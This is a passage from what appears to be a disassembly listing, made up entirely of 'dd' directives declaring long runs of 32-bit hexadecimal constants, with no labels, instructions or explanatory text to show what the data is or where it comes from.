		dd 4D0FBB3Dh, 78600E05h, 0FA80149Eh, 8ECE123Fh,	49E994h
		dd 832B74D2h, 56E700B5h, 3EF2E4D1h, 5CF8C7F4h, 5AB38204h
		dd 0E4831C98h, 4FABA07Eh, 0FF500040h, 0C597EFB2h, 9B079520h
		dd 0DF10D00Eh, 0D354CC0h, 39BD0ED3h, 0B3E07654h, 6FA95CA2h
		dd 33EB6C0Eh, 8D4CC058h, 1E5D48Ch, 55C50AF7h, 2056B2DAh
		dd 8F09788Eh, 0F526FBh,	0CD62073Bh, 0C043FE4h, 0FF0B4D4h
		dd 0B5EB7BC8h, 0ED24D000h, 0F7001265h, 209D64B7h, 0A52C0Ch
		dd 0FE05DCBCh, 0AB2ADC1h, 0FF902500h, 52BF9789h, 0CC8B004Dh
		dd 359AF92Ah, 926CCBh, 0C71C5000h, 253B341Fh, 473E00F6h
		dd 11AD09BFh, 0DA90E595h, 875C4209h, 6EEC8013h,	3BE6F0h
		dd 931DD7C3h, 0FF7235C1h, 7B06E400h, 5D58046Dh,	0C0EC4Eh
		dd 735699FCh, 23F47ABBh, 0E962CB03h, 0D0B670E8h, 5A7BF6h
		dd 0DA24CF86h, 78D0D75Bh, 769D6218h, 0C8C0B21h,	0B06083A0h
		dd 9076F010h, 6BD85600h, 4EF6405h, 0F98D00C1h, 38E49829h
		dd 0A9002469h, 46ACD590h, 7B5A3620h, 0BB210406h, 8185FE84h
		dd 0CC9C28D0h, 0F4001F0Ah, 5DE2E68Ah, 7E76C4h, 0B0141075h
		dd 49D66CF7h, 2BDA1903h, 8825A45Ah, 0BD0A23h, 38F87964h
		dd 58D84F8Ah, 303CDD1Eh, 272C4600h, 1FEB99D5h, 0CEAFEA3Dh
		dd 0E261184Fh, 0CC5077E6h, 0BA0069A0h, 9B168622h, 37CDBFh
		dd 203A781Fh, 0E997E803h, 1879AB1Eh, 6003C57h, 0B3ED1B44h
		dd 0FD792Dh, 7319877Eh,	0ADE80DB8h, 0D5EB5801h,	224C366Ch
		dd 39820h, 0FB01A908h, 40EFAEBAh, 840ADE00h, 498CD7F8h
		dd 3118004Dh, 0E4ABAF13h, 81000B7Bh, 0E758BE2Eh, 3F7F0DCEh
		dd 9F80B73Dh, 0D814C3E2h, 6F5CC5C8h, 42F100E5h,	38F79523h
		dd 199A00BAh, 3918C0EAh, 310701A6h, 0DFFFECBDh,	0EFB4DB70h
		dd 3A0F2CBh, 2E5FB984h,	0A4888ACAh, 39009603h, 0CE694E3Fh
		dd 782589ADh, 0E6620071h
		dd 0B06D6A79h, 0E4B01EA4h, 9F2A7B00h, 42FBD9CAh, 75017546h
		dd 0A56B000Fh, 2CA99ACEh, 3D16C8FDh, 6C405512h,	5403D11Eh
		dd 3C9030h, 8C7C8E13h, 1BC040CFh, 2C0943E0h, 80987280h
		dd 0AE2516C1h, 631303DEh, 5F40DA62h, 0B71D53B0h, 4C0BA04h
		dd 2CC15ACAh, 6C7092D2h, 6CC1CE6h, 4955010Fh, 64138E10h
		dd 0A106C958h, 7BEF2FEEh, 83690110h, 0F47E4D91h, 228CF8A4h
		dd 8AC3C204h, 44928603h, 27DCA0A8h, 7FBBD121h, 0D9421C6Dh
		dd 0FBBAC087h, 37D32F5Ch, 3C59F700h, 0D4DA06F3h, 0B4F4CAh
		dd 0EBC17C1Ch, 14392444h, 98B9A000h, 415A6B7Fh,	129D00F1h
		dd 0C07506FDh, 0B70135E3h, 0F7D491ECh, 0B0402496h, 0F815BF45h
		dd 89D8606Ch, 110491D7h, 37FCFB03h, 36DFF0h, 38754318h
		dd 0C5F63089h, 9BAD4D00h, 9994D940h, 5D4F0169h,	2B89814Ch
		dd 0A184F0D0h, 8EA54A1Eh, 91B6A4C1h, 97C0B7D7h,	98430019h
		dd 0A74D9EF4h, 1D90610Ah, 2368F100h, 0ACE7942Dh, 604130DEh
		dd 0BDD5B618h, 7A7CD41Ch, 0E4001A93h, 0A5D93776h, 7EC00C6h
		dd 70F709B9h, 9200D01Bh, 0F599C1E5h, 73F7255h, 0EA2EA345h
		dd 7AF0E086h, 0B07221C6h, 1357C802h, 0C03D3342h, 0D04ADAh
		dd 0CFBBB4E5h, 81FCBCA4h, 3FDA4E38h, 62188056h,	9AAE040Ah
		dd 15BE015Bh, 0DD3AB19Ch, 0BCB0C319h, 552CC372h, 6300D4A5h
		dd 7A8696C8h, 0FA313F06h, 8C14F583h, 15F2989Fh,	91F974C0h
		dd 4047C100h, 3BB785D1h, 10E7264Bh, 399B00E7h, 0BAEE3481h
		dd 0BB087C04h, 85806555h, 0E0ECD3C6h, 0A8C80020h, 1804500Ch
		dd 840033B7h, 6D74EA8Fh, 28BF3142h, 0EBE53710h,	0E0C032FDh
		dd 0F960E1BBh, 4FEA0050h, 2E33FDEEh, 23489313h,	54A61204h
		dd 7B149890h, 0B93400D7h, 0AF6F0806h, 0C038B04Ch, 534F04B3h
		dd 88804454h, 880BA2h, 0A5868F5Dh, 0A902B8FBh, 92781400h
		dd 0DEE0E3DDh, 4EC30F4Dh, 1280FD32h, 9021153Eh,	80A51301h
		dd 3DF95B54h, 0FBC840EEh, 0B81A00B0h, 96DACA8Bh, 7103FCD5h
		dd 0E4C8BEE1h, 0F0064015h, 5024962Ah, 0A1009974h, 1C9F146Fh
		dd 7DE09F2h, 38261A6Eh,	0F746C704h, 0FE060072h,	2F009CDCh
		dd 2BAD27ABh, 0E8CA86h,	9B92690Eh, 3BD0B581h, 8FAEDF3Ah
		dd 8BB7B8BBh, 0B2FCA0D2h, 238DF0h, 55F81024h, 6B500213h
		dd 2D679700h, 6AC8D788h, 12C95CD4h, 3FF50077h, 559AFB42h
		dd 0FFE0D299h, 0A5D3200h, 290C3DDFh, 4425000Fh,	1447E292h
		dd 1B00ED1Ch, 0CA27B21Fh, 8F6DCDh, 3F97D1A3h, 37E4F84h
		dd 92755600h, 6D188877h, 0DE0B00FAh, 55044ED3h,	6F989471h
		dd 0E1DC5100h, 24FC82AEh, 1C8F0CCh, 36E4B91Ch, 40DE7FD1h
		dd 49A60DA4h, 8B48FB01h, 0FE1725CFh, 5CBC3EE8h,	15006423h
		dd 0DBC19C50h, 3090C2E1h, 9D18EC00h, 4B2A92ADh,	1E917581h
		dd 425E3A1Bh, 68D6C6B7h, 6B229440h, 8050BE3Ch, 0BDEB702Eh
		dd 0DAB6E0h, 0AA0B6A3Dh, 9FD095BFh, 0B40CCC2Eh,	6AF0300h
		dd 70E68DF9h, 403913D6h, 1CC702Eh, 0DF0003C6h, 27BE6C20h
		dd 3887A3Ch, 8536027Fh,	283DFB56h, 574980C2h, 66C1E1A0h
		dd 48A300B6h, 0B17BA6F4h, 391620A4h, 8807E3CEh,	7C708222h
		dd 213FB2h, 128AC580h, 66CCFBD7h, 7EC43200h, 6FD61181h
		dd 0D81C008Bh, 540F4B3h, 0B6B8E8D0h, 5D8A9304h,	1583F1BFh
		dd 889FD87Ch, 11F00022h, 10E2AA96h, 0AC917E0Ah,	5ED6CFE0h
		dd 807E026Bh, 94289C7Ah, 0BCC11260h, 0E5AA5600h, 41555EE8h
		dd 69A20019h, 263D05E7h, 380074B9h, 0A3D01F8Eh,	784C7DBFh
		dd 8B7F0732h, 17E2B91h,	0D9A52CCDh, 0EB8DFC1Ch,	4372E09h
		dd 0A80B80C0h, 0C159A0h, 0EFD83CFCh, 8666E816h,	0C6015C7Dh
		dd 6C5E433Dh, 74349061h, 0B6B80064h, 0F8C3074Dh, 9302E40Eh
		dd 0EC32EE08h, 5C7CC8B7h, 3C952617h, 691C0674h,	0D4206934h
		dd 0E77B20CBh, 0CD025h,	0CE025F9Ch, 407E0E7Dh, 0B4402697h
		dd 49034AB5h, 0E8519A2Ah, 44438B00h, 2AC3A278h,	5ECC2642h
		dd 1ECB8044h, 0CA0EDAA0h, 1FA51600h, 9E5F1935h,	465C1FAFh
		dd 176A80C3h, 0F3FED598h, 77538B03h, 0F49C354Ah, 15A99C0h
		dd 88A0006Dh, 168322C9h, 0B2135047h, 4B0376BEh,	98098D7Ch
		dd 31F6211h, 15D33A60h,	7D80A6ACh, 0F40E8BA9h, 0E05229DAh
		dd 2EDDF95Fh, 0CB5B0026h, 0D0B410ACh, 0B9004D24h, 0A03B7472h
		dd 0D9E80Ch, 1E4AEDC3h,	5393C884h, 0A46149h, 0EF433916h
		dd 0C5F3D7h, 0B1C02F4Eh, 988147F4h, 34963C0Eh, 6400D6A0h
		dd 0F521B713h, 0FCE6161Fh, 429400A3h, 0EFD2110Ah, 40866913h
		dd 0C1E8D003h, 8A1DC07Ah, 0CE6D0F21h, 0EAE29AE7h, 0B087C39Fh
		dd 32956072h, 0C150E27Dh, 51F4C4ACh, 958AA7Fh, 931E12D9h
		dd 5A1A0440h, 56559FFh,	0B38AF0CFh, 54A40186h, 0CD124305h
		dd 66E4301Ch, 61113Eh, 0B7B997CFh, 989109FBh, 0FD4EA0h
		dd 39EDC29Ch, 0E0F878A7h, 6AD35F0Fh, 121BEFE7h,	0FCC4F852h
		dd 11AAC107h, 0A9A60281h, 3E0738C4h, 4380486Bh,	4626FE05h
		dd 68B88713h, 1CA0A0Eh,	1D2FA133h, 37EC8023h, 0E324008Dh
		dd 87D11CACh, 3E4FDD99h, 0F5004DF8h, 84C4D66Ch,	1C7C553Ch
		dd 0BF59620Eh, 83AB22h,	4640691Eh, 3B54726Ch, 4A84C31Eh
		dd 0C0FA9E3Bh, 0E6336DA0h, 0EA965903h, 0B503B4BAh, 62AFE582h
		dd 23A760BCh, 76AD0037h, 6A2762E8h, 0BE00B08Fh,	8DFFB3A8h
		dd 732D860h, 84F3FB37h,	63B762A2h, 1142A060h, 559723h
		dd 65272A3h, 0EA17A1B5h, 400DED5h, 7CE3FAB8h, 0E18B0031h
		dd 0BC5F13D2h, 260FAC14h, 80619683h, 0E70FA4EEh, 501B00D7h
		dd 0EB7937C2h, 49000BC5h, 0CD5F8CF5h, 84803Ah, 253D9E78h
		dd 0BD364186h, 5953FA01h, 0D00342ECh, 0E8C8F971h, 5D5E1802h
		dd 88B311EDh, 17587800h, 0C734224h, 9EEF001Bh, 0B0C0C70Bh
		dd 0EB07A83Ah, 0E61EB5ABh, 8E724AE0h, 0E9D400DAh, 5E0B14B1h
		dd 7D013C1Ah, 0D736DF6Dh, 95FC67A1h, 0B4D95099h, 10CA3C16h
		dd 0B90F5180h, 7BA032B8h, 7C7DC700h, 4F042E98h,	0FECBFCB7h
		dd 0D129009Ah, 0A624A746h, 0FAECFDA4h, 0AD10FE00h, 70673083h
		dd 2C411FF8h, 0ED03C4CCh, 0E74CC0E4h, 4D0023D2h, 0F97D1B8Bh
		dd 1274089h, 8FE6678Ah,	0D0FF8220h, 7F5D1C3Fh, 0A5E51F98h
		dd 0FB3DEEC1h, 4BF801FDh, 0A4CA3EF9h, 0DAFAB602h, 1C05C51h
		dd 0C0005415h, 955F2B05h, 28CA0C42h, 0E704F2h, 18A51BDAh
		dd 0CE9A5CEDh, 6F7158D8h, 4BFC0023h, 6A3A29ECh,	5F0F0EFEh
		dd 0E0D6A7C7h, 90A14092h, 84CA589h, 940ED1Fh, 3F0F9DBh
		dd 0AE5EC03Eh, 281E0DB2h, 0B06A6068h, 644AF9C0h, 7B8DDFA2h
		dd 0C2FB00E4h, 0BB6AD91Eh, 8201FF60h, 48559627h, 0DE408742h
		dd 7DE562h, 0F035C223h,	4FFCEDAh, 0A41C3000h, 70822FC8h
		dd 93ECC1F1h, 20360802h, 0EF00BC5Dh, 33B4D93Ch,	1F8DACC3h
		dd 38212C8h, 9CF70197h,	55ECB7D0h, 0DFF1ED00h, 145F687Ah
		dd 8CA60108h, 954303E1h, 0AF09D4E0h, 0F500237Fh, 1E32C6FAh
		dd 8119AEh, 0FEFB14A6h,	0B4E2D6EDh, 3E80C5Ah, 0D8677F00h
		dd 1F41E7FCh, 0CF377600h, 14264EBh, 5CC1002Ah, 69F3DF52h
		dd 6B00CB88h, 0ACF7AD3h, 0C58BB8h, 45071FB6h, 0E8DE79FCh
		dd 631F277Ch, 0D500B2BDh, 4365835Bh, 25D904CEh,	8047AED6h
		dd 55EFC42Ch, 0E6662D18h, 391AB210h, 0E503B165h, 0E41DD982h
		dd 0C4BF0828h, 1A7E81Fh, 0CAC4FB80h, 794686h, 680311B6h
		dd 0E8D91650h, 92055892h
		dd 45890D5Fh, 2DC5E820h, 3EFE0019h, 6FE9F82Bh, 0A3E8F9E3h
		dd 0F2200C60h, 721E55h,	0FBEFBEC3h, 0AB277DDAh,	0C59AED00h
		dd 68EC761Ch, 29E90FF3h, 0C858BCA6h, 24E935EBh,	0C000F02Ch
		dd 32D7749Bh, 0C9AAC63h, 22C7ECE4h, 0B7007621h,	888F0724h
		dd 6F95A489h, 87120898h, 0AEA03FDCh, 24222A2Eh,	1E68B500h
		dd 629E80Bh, 7012600Dh,	93C0A12Fh, 7EDF0F4Ch, 558A4900h
		dd 16C24D0Ah, 0D02400FBh, 8C13225Fh, 0E53CC976h, 4C007CF8h
		dd 0E2A8492Eh, 0F66A9B6h, 772DBDA7h, 3329D880h,	0B406BC6Bh
		dd 444B4DD9h, 0BA1D0029h, 7AFBDAEh, 24C0AD9Dh, 994B9EB3h
		dd 513B00D4h, 0A5CF224h, 0FD001EDFh, 40DC475Eh,	7EF40F14h
		dd 267E007Ah, 3B58D306h, 2900B52Dh, 89FD0576h, 4E8811h
		dd 0CAA62E4h, 1592ED5Fh, 0C0495D00h, 0C3833726h, 52AF0BA5h
		dd 1D806F95h, 78FA3B93h, 0F144B960h, 26FBBAh, 8CCBE9CEh
		dd 16D9D86Bh, 9FB9E600h, 3C72F3ACh, 670E0750h, 20472520h
		dd 6BE5FCFBh, 0BFDCD00h, 11174FD7h, 567A3F7Dh, 2E79D607h
		dd 1D1E601Fh, 4A0FF0DFh, 0A05ACA39h, 0DB5FC241h, 35B4020Ah
		dd 0E8921B52h, 7FECF60h, 0AF536A03h, 88E7A8ADh,	381DA191h
		dd 0C10026CBh, 0AAE68D47h, 0FD1E0B62h, 444255C8h, 80F9CB0Eh
		dd 96D6C5CCh, 4E1D0090h, 0AA3CDA99h, 11E8F82Fh,	72009EB8h
		dd 94FCFA4Fh, 0E8404852h, 3AECFAADh, 7B806B05h,	8EA6E84h
		dd 0A1FCC050h, 0ED58D0F3h, 0CB9EA201h, 0E896764Ah, 2CE4970h
		dd 938A1D2h, 6EC05498h,	0AC2E679Bh, 7C1D6527h, 0AB1D00FEh
		dd 63241118h, 0F0252CAEh, 5C5B0093h, 15427B34h,	0AAC5A200h
		dd 9CE72381h, 6C1001B0h, 0BE3A044Bh, 7136CC7Ah,	386E253Fh
		dd 0CBFB8092h, 86A315CFh, 0FA8C0018h, 0F8129B24h, 0F100984Dh
		dd 0FF36ABA8h, 4C91AFh,	0F4EA14B9h, 84C24A6Dh, 7F66D900h
		dd 98C6BB2Eh, 7C3900DAh, 4007F9B3h, 0F80E99DBh,	0DF722B47h
		dd 0F2C0FC9Eh, 5F4B498Ch, 546524C4h, 0F0660010h, 59CADF51h
		dd 86CCA91Fh, 55242DC4h, 73A6C7C0h, 4F424C2Ah, 4095331Eh
		dd 0DDEC7449h, 4E018FCFh, 0CE03F137h, 4C20DF3Ah, 9AD0011h
		dd 0A4B422ACh, 0F200DD9Ch, 7C5AB79Fh, 7DD664h, 3A5B79EDh
		dd 9BC702E9h, 9D35100Ch, 158A014h, 0F5A39355h, 0CC75ED1Eh
		dd 0B0799E19h, 0FDD01000h, 21BA2760h, 0C894A373h, 4CC7F5h
		dd 6D63CFB1h, 9507B0D8h, 8B93A500h, 806F92B7h, 0F33000CDh
		dd 58869E5Eh, 9000BD32h, 5AAAAF26h, 0CAEA12h, 22A0DC5Fh
		dd 15586453h, 480FBC90h, 0A1839931h, 0D0ABE011h, 3D3C7DCh
		dd 91E8C19Bh, 280016ECh, 0A793E1BDh, 267EB954h,	2888F055h
		dd 95DD035Ch, 3452F865h, 0DCB063FBh, 21B00C4Dh,	9ABDD900h
		dd 0DC587D5h, 3C6D1FD2h, 0A1758077h, 60C83762h,	0B2D5BB00h
		dd 294F18F2h, 15FF00A0h, 0C479F8C5h, 0B512F33Bh, 281D8E92h
		dd 5604D240h, 0BA21CDh,	0FEC3BB59h, 2EA45046h, 83C1711Eh
		dd 4DAB2F80h, 1FF9EF43h, 43CC5E9Bh, 0D00C4655h,	772BB000h
		dd 0AC9436B3h, 50100CAh, 742C1204h, 71388F18h, 95E80E06h
		dd 0AE03E09Ch, 2A9369h,	5FD7ECFCh, 0B02E326Ah, 0F0E2D928h
		dd 49EE6B03h, 0D05D1A2Dh, 48B3361Ch, 9800388Ch,	0ADEDE251h
		dd 58069AA7h, 0D2532487h, 0EC5413E0h, 80E405E4h, 2C94037Ah
		dd 0EBB881A4h, 100646Eh, 0B5835F9Bh, 1993DBh, 11B9577Dh
		dd 5B68CC3h, 73DE6300h,	5306D3DDh, 7FAD01B3h, 5B152980h
		dd 67673052h, 7578D03h,	886283C4h, 0A608A82h, 0EF05096Fh
		dd 90D00184h, 87EC367Ch, 5D0DD2C8h, 2300F2CFh, 0C75657AFh
		dd 0C240000Fh, 0A478D751h, 0BD2FB7AAh, 2CCF48Ch, 6A7396B5h
		dd 972FFCC0h, 89B1A700h, 4032B420h, 7D18E66Dh, 78A2585Eh
		dd 0C012091Ch, 7B5386FBh, 2600EFDCh, 0BA20136Ch, 0F443C8D4h
		dd 6D60268Eh, 0C2B9004Ch, 70CFFB28h, 0A3EDBF00h, 0FACDB7Ah
		dd 0FDE8F9h, 0B4094448h, 0B9FB9BBAh, 0A064822Ch, 43711A00h
		dd 3E78105Fh, 0FFB2B8h,	2117676Ah, 2DD7DAF2h, 0DF14B400h
		dd 89B26E13h, 60C218B8h, 0D7AC18E4h, 0E66FEE07h, 12F0ED76h
		dd 38BF49h, 0DACB3790h,	780A94D6h, 0C1E1F800h, 24D21298h
		dd 7D849252h, 0EB300BCh, 0A9AE11D5h, 0F40FE15Bh, 60A02ED3h
		dd 436F8823h, 0AB5C0054h, 30554091h, 0FC0060D5h, 989E0BE0h
		dd 3F42BEh, 0A10AFB31h,	0D2921A39h, 74178501h, 51C4DD49h
		dd 2BDE60h, 50C56CBFh, 2FBD9ACCh, 0C73F3C1Eh, 9BF53B03h
		dd 97EBB11Bh, 0ACEEAB40h, 26B0F4BFh, 20540E8Fh,	137703A6h
		dd 0CDA70C1Ch, 9940A582h, 930CD250h, 0D0D7F52Ch, 707313FCh
		dd 8B400A6h, 18CA62ADh,	4F269F00h, 0DDD65544h, 8E3638BEh
		dd 3BEC3C01h, 31B57745h, 0EDB8C7C4h, 0D500C5CEh, 4C3E5158h
		dd 0EC7E7C87h, 2C78B2B6h, 177A7924h, 4207EB6Dh,	0F8B7AF4Ch
		dd 379957C1h, 86469BE1h, 36910410h, 0D0AAC36Bh,	100FA488h
		dd 63021B60h, 2200C25h,	48CFCC9Ah, 3240C879h, 0A401C3DEh
		dd 8B671037h, 0D980F036h, 0D6C27A3Ch, 6A168377h, 40E7F29h
		dd 28620C93h, 0B1500645h, 0A9F8EB7Bh, 0E5CA6F17h, 3F01A852h
		dd 0C8135363h, 3D2846D0h, 0D4B16EC1h, 40B77821h, 34736570h
		dd 0BDB8081Dh, 0A0D3A61Ch, 40CC16FEh, 0DF48F8ACh, 2603B785h
		dd 0FE129F34h, 6F4EE822h, 0EC570008h, 9A19A6B2h, 5A0F0684h
		dd 0E026BC55h, 107CB475h, 56F501E1h, 4BA01460h,	60E07158h
		dd 71F9358h, 8E83E2FBh,	0E0F90CFCh, 0C7ED6DA9h,	0BEB86199h
		dd 0AB911818h, 0FA935903h, 53FBBE2h, 485E4220h,	708021CCh
		dd 6F0EF854h, 0F034E306h, 63084B6Eh, 0BAAF21D0h, 0A65D2588h
		dd 178A7B01h, 52ED817Fh, 0FF6BE20h, 5B1D56E5h, 47D0AA25h
		dd 815EFB94h, 50EF80DAh, 0F190C4CCh, 93777100h,	0BB6FD46Ah
		dd 0CFC7E869h, 0CA603121h, 2691D988h, 0A477FD00h, 0F8FE4E59h
		dd 2939E029h, 5D4B680h,	3A3CDBh, 8B6530D0h, 8CC367Bh, 3B213Eh
		dd 12C03A34h, 67716470h, 6DDAE400h, 0B6FF0A18h,	473016Eh
		dd 0D180DF7Fh, 41A84086h, 8CACA65Eh, 4BB7E02h, 19373958h
		dd 3CA510D1h, 0DA200BAh, 517D711h, 3A0FB24Bh, 54FD7ABDh
		dd 0E41D03C0h, 88AEBAC1h, 0A5CE83h, 0DFFFF15Dh,	19C51431h
		dd 0C100C476h, 93D54C7h, 0EAEE0E97h, 1EE62F57h,	0A500037Eh
		dd 7EBC1C5Bh, 0F97A0E42h, 12E011E0h, 0CACEAA6Ch, 0ED611600h
		dd 0FB654B81h, 0DF741E48h, 3F110042h, 4712C480h, 0EB1F7E00h
		dd 8E949264h, 0CEF40161h, 6D574C48h, 47F0F0FCh,	18D9EE30h
		dd 0F9A7BE1h, 0A3E448C0h, 0D221022Ch, 0E016340h, 0B3C08562h
		dd 2E0C483h, 19211100h,	8F4A2DF2h, 80FC19D1h, 80380896h
		dd 0FD0FAA21h, 4BB19Fh,	7A948CCFh, 612B98E7h, 8C57333Fh
		dd 510E5007h, 0E67660h,	0B7DD7712h, 0B6CF43F0h,	81C0F9E8h
		dd 0B20BD07h, 0CB07C2Fh, 65F2494Fh, 9F0E28A0h, 8701C09Bh
		dd 5C43BCA7h, 0D8BDC0C7h, 0F5880030h, 3D8F5B04h, 0F037077Ah
		dd 0B460802Eh, 1DACDBBh, 0D19B68E7h, 819C447Ch,	0A75AE910h
		dd 6FC4475Eh, 0B810097h, 0F26AE231h, 0D40062A0h, 507E5923h
		dd 7DE90BFh, 0F58155C0h, 7B36C1D3h, 0F6A8F0CDh,	95456A00h
		dd 9EB9F91Dh, 7CFA0331h, 0AD3FA51Eh, 818343C1h,	6E4B7120h
		dd 31801A6Dh, 0F862826Fh, 780C57D0h, 85E9A99h, 3821C105h
		dd 0D5BD6D1Ah, 861B60CBh, 8244970Ch, 1D0F21F5h,	0E393D3h
		dd 0B69EBFE9h
		dd 8D03E1B2h, 0C34570F5h, 29E6F1h, 9D54974Ah, 3B798CFh
		dd 8F6CB31h, 20804443h,	0B242698Ch, 0A4E4B9BFh,	631D606h
		dd 1C0BA6Dh, 47E2A095h,	0F1364B7Dh, 1800CFE5h, 63150BC4h
		dd 0F1279h, 56D499DCh, 0FA197B80h, 8454D600h, 0B4AB362Bh
		dd 42580B77h, 0C980BAECh, 6D5D2F30h, 33072801h,	0F94856BDh
		dd 369F4D8h, 5AE81B6h, 0E6F0547Eh, 65008702h, 4B191F0Fh
		dd 0B03435h, 9D1795Bh, 96ACC174h, 940041F2h, 46E63023h
		dd 0EF3AE4h, 0AA971FC9h, 58DECBA3h, 1A901500h, 2FDDAE64h
		dd 0AB700A1h, 94579911h, 5F00B13Bh, 4067A287h, 0A16C43h
		dd 4D60CB04h, 2F0D22C9h, 3016BB30h, 173586h, 9350BD3Ch
		dd 0F0E1C90h, 0CD252A00h, 0CC669939h, 0E8D000BEh, 0F5AF1031h
		dd 7FF45C37h, 72494400h, 2C143913h, 0B0DD4CFAh,	0CF4BB00h
		dd 64943040h, 14BCF00h,	6617CCFDh, 2B7751h, 8524F4A1h
		dd 6125C215h, 29700760h, 0EE7F89h, 3FCBEB6Ah, 0C30A8222h
		dd 27E16700h, 997C78E6h, 6F323028h, 6B5BE788h, 7E5DD02Ch
		dd 33419A00h, 782B71Ah,	0C6AE09CEh, 0C56A40D4h,	730E6FB6h
		dd 8E26DD42h, 0ACAAA045h, 0C02322E5h, 9CD1FB10h, 0D9F81D9Ah
		dd 585F54EEh, 2500B6B8h, 0D053F4Dh, 280057ADh, 2EF3C571h
		dd 769B76Fh, 0FBF15E1Ah, 0F6BBD0D8h, 10098A7h, 0A57B95EFh
		dd 354E11h, 0AC4B1B6Fh,	19A7F360h, 0A22BF801h, 0EBFA0133h
		dd 0F5ED3180h, 1303D635h, 27A07100h, 0CF33FBFCh, 0CE9401B0h
		dd 0D1C93E72h, 0D28400DDh, 38E770Dh, 0A1D806C1h, 0EF8305F9h
		dd 0D81C76C3h, 618EE85Eh, 0D926272Bh, 107EB810h, 0BFFD00DEh
		dd 4DE75666h, 600C04Fh,	0F016B71Fh, 1D52745h, 953D4219h
		dd 60DAB1EAh, 0F46F0E23h, 0C0781B8h, 50BCBCF0h,	8B338400h
		dd 0F970E9E8h, 95D0CB00h, 0D8D32875h, 8680BF0Fh, 1311A3DBh
		dd 0ED7A448h, 2632F47Ch, 6F9EC7Eh, 60492358h, 5E0010C1h
		dd 0BD872169h, 485ACFB4h, 3500DA7Eh, 2CA08BF6h,	7D001E36h
		dd 0FB2408ACh, 0AAEC34h, 0C0056C3Bh, 0E39E44E6h, 2E207600h
		dd 0A3342CDh, 7A7EBFh, 215018DEh, 2264A872h, 1630F507h
		dd 8E691D9Bh, 71ACC079h, 0AECFDBh, 1E2C069Ah, 182719B0h
		dd 0F20720F0h, 2821606Ch, 0EB8F3080h, 3CEF0107h, 8C6D14E1h
		dd 20CBD0E2h, 80B220CFh, 2E2221EAh, 59410011h, 0C6BAAC5Fh
		dd 89C92DCDh, 0D7C80628h, 0F025F060h, 0D4663E2Eh, 39701E32h
		dd 8E8C230h, 0E3C4EFBCh, 60217166h, 1D677007h, 0C61B1140h
		dd 0ED48CEFEh, 2660E6C6h, 7C4170h, 0A3922FCAh, 0BB009F8Bh
		dd 0FEF3FB6Bh, 18493EBh, 0C0AF9A53h, 0ECF70949h, 550D2C6h
		dd 630FF584h, 3FC5F9F8h, 84F315C1h, 228045B6h, 1DE35510h
		dd 41005A9Dh, 0DC6DDD26h, 0E085E9h, 3F0DECABh, 0FC5B3835h
		dd 84FEB160h, 0F40B852h, 9B6D6F94h, 0CDE0C14Eh,	0CBFC0F43h
		dd 97C2D71Fh, 3CB86800h, 39BF28B5h, 86803D8Eh, 0F022253Ah
		dd 82001571h, 0F7ACDC58h, 0C04960h, 6B32F34Ch, 61149C3Ch
		dd 0F900A979h, 0ECDF435Eh, 0B45753h, 70F458D9h,	299EAC44h
		dd 0F729B24h, 5481DF00h, 0F81099h, 0CF355DBAh, 50EB359h
		dd 1EFBA65Ch, 2C002553h, 0D66366DDh, 0DA86033Ah, 615211CDh
		dd 0EC21FCF8h, 59546B0Fh, 9E354027h, 3BDC9409h,	90F6E9C1h
		dd 30337AD2h, 13204D77h, 3D1C90FDh, 8BC0A4A5h, 0F2B0D423h
		dd 0D29A1C5Dh, 884247BCh, 54BEE0F0h, 9B0B8BFCh,	80A53551h
		dd 26FE0719h, 90E9002Dh, 9AFC52BCh, 0E1B22F5h, 2C607559h
		dd 14B0B20h, 0F2FC5571h, 566DD8A9h, 0C153751Dh,	491923D8h
		dd 5A9A20FEh, 6E7D1110h, 0BFF1D060h, 10C750FDh,	0E1D00DAEh
		dd 0E8A3540h, 4899933Bh, 1FDC0036h, 74803294h, 0E4524100h
		dd 47CC02A2h, 7ED5008Ah, 7BFCB884h, 0B60182C9h,	0F8AF4FA6h
		dd 3BE85225h, 9D850005h, 12EA4936h, 41C13744h, 0E9DB4C1Bh
		dd 14BD19C5h, 213509E6h, 0DBD5BB00h, 42B3CA97h,	0E6E51F7Ah
		dd 4965C0A1h, 8C456330h, 7DB58C0h, 7B0158h, 0E42D201Fh
		dd 653459EEh, 0C0FB49C0h, 1EC85358h, 15AF3h, 0F921F87Eh
		dd 64E00E16h, 0FF5E691Dh, 30A3110Ch, 1723EAA8h,	33A079h
		dd 3E59E55Ah, 70D6EC14h, 0C0160712h, 9E1FB71Fh,	0D2189758h
		dd 10821F9Ah, 38230042h, 0D9DD4787h, 28EBE731h,	2510F806h
		dd 3EC03475h, 146761D5h, 9EC20307h, 0B46F79DCh,	32DEC0BCh
		dd 0F04874E2h, 50C0018Fh, 0D5E63122h, 382CECh, 8F0ABEFEh
		dd 0A3A1B191h, 14FE000h, 0E5C2E340h, 0C0590E98h, 95600E77h
		dd 0FACCCAE1h, 7F35A40Eh, 0E3EBE0D6h, 369D489h,	0F285900Ch
		dd 0B0B8091Bh, 0F10F9DCBh, 0E3620B3Ch, 0C0F9A056h, 842BB4h
		dd 133FFFA2h, 0F2EB725Dh, 14F88600h, 76B010A7h,	986800D7h
		dd 0C428F4B4h, 95138FACh, 7000F3B3h, 0BE4475B5h, 861B1C3Bh
		dd 9813C0F9h, 8562E657h, 4D71BA00h, 0F5890A6h, 2E5600C8h
		dd 602A0122h, 160362C9h, 0DD25B6F5h, 5A69F06Ah,	861D00CDh
		dd 0F7FBA998h, 41009392h, 0E368F54Dh, 0F049EFh,	8977FDCCh
		dd 59E904EDh, 5D3B4C0Fh, 8B84022h, 193C783h, 54CC0E2Ch
		dd 0C8E575A9h, 76002BD8h, 47BCC25Ah, 0C848AAh, 0C9123F43h
		dd 0EA88D151h, 5A6E700h, 9E134FFDh, 2883001Dh, 65BA8062h
		dd 9000F8D1h, 0E03F9746h, 3CC33FCh, 0CC4AEC0h, 87D12903h
		dd 837BE0D8h, 399923Ah,	8EDB9B25h, 88BC508Bh, 0DA2100D7h
		dd 55A05248h, 4900B751h, 7F01DEA7h, 2F60BAh, 87405843h
		dd 0D4D81219h, 0D2501424h, 0E9CD9C00h, 4F6D5Fh,	0FDE16421h
		dd 42F34A70h, 0F452490Eh, 86CBA01Dh, 1FD30E23h,	98FC2022h
		dd 0CDB8C60Ch, 405FD9E7h, 6696C2C8h, 2D9DA400h,	524A7102h
		dd 3F9A06EEh, 107B6583h, 68C7700h, 0A7CDABA2h, 0C4E20C5Dh
		dd 564066CBh, 4A6CAE00h, 208D76EFh, 60F500B6h, 0D67086Bh
